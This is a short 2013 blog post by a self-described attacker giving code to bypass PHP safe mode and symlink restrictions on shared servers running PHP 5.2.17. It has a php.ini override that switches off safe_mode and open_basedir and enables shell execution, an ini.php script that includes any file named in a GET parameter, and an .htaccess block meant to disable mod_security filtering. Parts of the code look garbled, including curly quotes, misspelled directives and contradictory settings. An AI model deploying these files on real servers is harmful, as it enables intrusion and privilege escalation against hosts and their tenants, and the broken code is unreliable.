Wednesday 15 May 2013

Bypass Server 2013

  1. Bypass Safe-Mode and Symlink For Servers Php 5.2.17 2013 By Mauritania Attacker.
  2.  
  3.  
  4. #PHP.INI CODE :
  5.  
  6. safe_mode = OFF
  7. disable_functions = "ln, cat, popen, pclose, posix_getpwuid, posix_getgrgid, posix_kill, parse_perms, system, dl, passthru, exec, shell_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, pcntl_exec, ini_alter, pfsockopen, leak, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, fpassthru, stream_select, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, chmod, file_upload, delete, deleted, edit, fwrite, cmd, rename, unlink, mkdir, mv, touch, cp, cd, pico"
  8. safe_mode_gid = OFF
  9. open_basedir = OFF
  10. register_globals = ON
  11. exec = ON
  12. shell_exec = ON
  13. allow_url_fopen = ON
  14. file_uploads = ON
  15. disable_classes =
  16. safe_mode_include_dir =
  17. safe_mode_exec_dir =
  18. safe_mode_gid = OFF
  19. short_open_tag = ON
  20. log_errors = ON
  21. log_errors_max_len = 1024
  22. ignore_repeated_errors = ON
  23. register_globals = OFF
  24. magic_quotes_runtime = OFF
  25. magic_quotes_gpc = ON
  26. AddHandler application/x-httpd-php4 .php
  27. display_errors = OFF
  28.  
  29.  
  30. #INI.PHP CODE :
  31.  
  32. <?
  33. echo ini_get(“safe_mode”);
  34. echo ini_get(“open_basedir”);
  35. include($_GET["file"]);
  36. ini_restore(“safe_mode”);
  37. ini_restore(“open_basedir”);
  38. echo ini_get(“safe_mode”);
  39. echo ini_get(“open_basedir”);
  40. include($_GET["ss"]);
  41. ?>
  42.  
  43.  
  44. #.HTACCESS CODE :
  45.  
  46. <IfModule mod_security.c>
  47. FucKFilterEngine Off
  48. FucKFilterScanPOST Off
  49. FucKFilterCheckURLEncoding Off
  50. FucKFilterCheckUnicodeEncoding Off
  51. </IfModule>

0 comments:

Post a Comment